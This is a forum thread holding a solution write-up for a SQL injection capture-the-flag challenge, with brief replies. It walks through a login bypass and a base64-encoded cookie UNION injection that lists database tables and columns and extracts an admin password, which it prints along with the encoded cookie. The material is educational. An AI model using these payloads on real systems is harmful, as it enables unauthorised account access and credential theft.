CyberSecurity Challenges #3 [SOLUTION]

Make More Challenges?


  • Total voters
    6
Status
This thread has been locked.

CureMe

Java Developer
Deactivated
Feedback score
7
Posts
248
Reactions
97
Resources
0
The challenges from week 3 can be found here: https://www.mc-market.org/threads/588048/

Week 3s challenges were based around the theme of SQL injection (video). Thanks to hgbf this week for all front-end development.

For the easy challenge you had to gain access to any account on the website at http://cyberchallenge.tk/easy/. After some browsing the site you would find a simple login page, this was actually vulnerable to SQL injection. To hint towards this I left a developer note in the html to say it was a vulnerability needing to be patched:
e4558b34609a838ce0d45bc097c325ac.png


The login request that would be sent to the database when you log in would look like the following:
Code:
SELECT * FROM users WHERE username='USERNAME' AND password='PASSWORD'
If a user was to insert a quotation mark into the username or password section then as you can guess, it would mess with the query statement.
Please read this blog post about SQL injection and how it can be utilised to gain access to an account on a site.
In the end you could input a username and password such as
Code:
' OR '1'='1
to bypass the login and gain access to the first account in the database.

Once you login you would see this screen to know that you completed the challenge:
6e33abaf4eb65a9219dd5e8be9faab4f.png

PLEASE NOTE: Any stick out tongue faces you see ( :p ) are actually a comma and then a "p" like shown but without a space ": p"

The hard challenge this week was quite difficult depending on your knowledge however many users accomplished it which is good to see.
The hard site's login page had a developer note specifying that and SQL injection vulnerability had been recently patched, however this isn't to say the whole site wasn't protected:
4123f0e37df43be3602436e3b017e299.png


When you logged in with the provided user credentials ("usualmugs":"password123"), you were taken to a profile page. As a hint, I left a developer note in the html noting it had an SQL injection vulnerability where it provided the username and account type:
e587a6288b06da2e474881cda00abc21.png


This suggests that when you load the page, you user account is loaded from the database in an unsafe way.
Upon inspection of the cookies active on the page, you would find one named "b64_sql_user" which was the cookie used to save the current user. If you google "b64" you will be led to base64 which is an encoding method.
If you decoded the cookie's value using and online base64 decoder then you would see the cookie had the value "usualmugs:password123". Funnily enough this is the username and password we are currently using to login - not a very secure site at all.
Seen as though the cookie name also mentions SQL and we know it uses SQL to load user data to the profile page, what happens if we simply add a quotation mark at the end of the cookie's value.
To do this we head over to an online base64 encoder, enter the text "usualmugs:password123' " and hit encode. This would return the text "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJw==". Simply set the b64_sql_user cookie's value to this using the method discussed in week 2s solution thread.
Refreshing the page would cause an error in the server resulting in no username or account type displayed. This tells us that the site is vulnerable to an SQL injection using cookies.
Our goal in this challenge was to gain access to the admin user, so let's explore our options with SQL injection here a bit more. We could change the cookie to "usualmugs:password123' OR '1'='1" encoded with base64 ("dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBPUiAnMSc9JzE=") and refresh the page to see all the usernames and account types. This works because for every entry in the database the query will now be checking if 1=1 too which, of course, is always true displaying the following result:
d94104c6bb48fa7cdfab75b3345a5391.png


That's great and all but we need the admin's password! Let's note down the admin's username for now as it will be useful to us later ("admin48245"). It is very likely that the table where the users are stored in the database also contains each user's password. So to find out information of the table we are currently selecting from, we can add data to the bottom of our currently return results with the MySQL "UNION" statement.
To show all table names in the database, we must set our cookies value to the encoded following "usualmugs:password123' UNION SELECT table_name FROM information_schema.tables-- -" which is "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgdGFibGVfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt".
This works because currently the query only selects one column from the table whether it be username or account type therefore we must abide by this rule and only use union with one column ("table_name") to append data to the bottom of our current result. The hyphens at the end of the statement are a MySQL comment to comment the rest of the actual statement out as it interferes with our query.
Refreshing the page with this cookie would display all tables in the current database including a table names "users".
Now that we know the table is named "users", we can start to act on this information.
To get information on the columns in that table we can change our query to "usualmugs:password123' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -" which base64 encodes to "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgY29sdW1uX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSd1c2VycyctLSAt".
Simply set this as our cookie value and refresh to see we have columns named "username", "password" and "type".
The "password" column sounds particularly juicy to us.
It is time to collaborate all information we have gained to far into one SQL statement to steal the admin credentials. I used the SQL statement "usualmugs:password123' UNION SELECT password FROM users WHERE username='admin48245'-- -" and encoded it with base64 to get "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgcGFzc3dvcmQgRlJPTSB1c2VycyBXSEVSRSB1c2VybmFtZT0nYWRtaW40ODI0NSctLSAt". Set this as you cookie value and refresh to see the plain text admin password ("X_NVvm9@644f$a6p"), how secure!
Now simply change our cookie to be "admin48245:X_NVvm9@644f$a6p" encoded with base64 to get "YWRtaW40ODI0NTpYX05Wdm05QDY0NGYkYTZw" and refresh.
This was how you completed the challenge and accessed the admin account:
343ceb1f2269bece5895ce9a62350efa.png

Week 4s challenges will be slightly delayed and I may take a week off therefore releasing them next week as I have been incredibly busy and they take time to make. Therefore the current challenges will be up until the next ones are out see feel free to mess around with it until my free trial of the database expires ;)
Thanks for playing.
 
PebbleHost
High performance, consistent uptime and fast support. Minecraft hosting that just works.

Ghast

Founding Father of Hypocrisy - https://artemis.ac
Supreme
Feedback score
54
Posts
2,096
Reactions
3,285
Resources
79
I knew this and was going to partake until 300957 assignments dropped. However, you definitely caught me off-guard with the deeper level to this. I’m excited for week 4. Make sure to tag me.
 

CureMe

Java Developer
Deactivated
Feedback score
7
Posts
248
Reactions
97
Resources
0
I knew this and was going to partake until 300957 assignments dropped. However, you definitely caught me off-guard with the deeper level to this. I’m excited for week 4. Make sure to tag me.
Thanks for the kind feedback, may be a bit of time before I can drop week #4 tho.
 

hgbf

Confirm onsite ≋ hgbf#6395
Supreme
Feedback score
24
Posts
854
Reactions
629
Resources
0
Looking forward to the next one! Feel free to tag me as well when you find the time to make it ^
 

Ghast

Founding Father of Hypocrisy - https://artemis.ac
Supreme
Feedback score
54
Posts
2,096
Reactions
3,285
Resources
79
Thanks for the kind feedback, may be a bit of time before I can drop week #4 tho.
If you need some help definitely contact me. It’d be fun messing with apache/htaccess related vulnerabilities or even md5 poor hashing. Hell even obfuscation could be a theme. Bytecode is quite often easily reversable
 
Status
This thread has been locked.
Top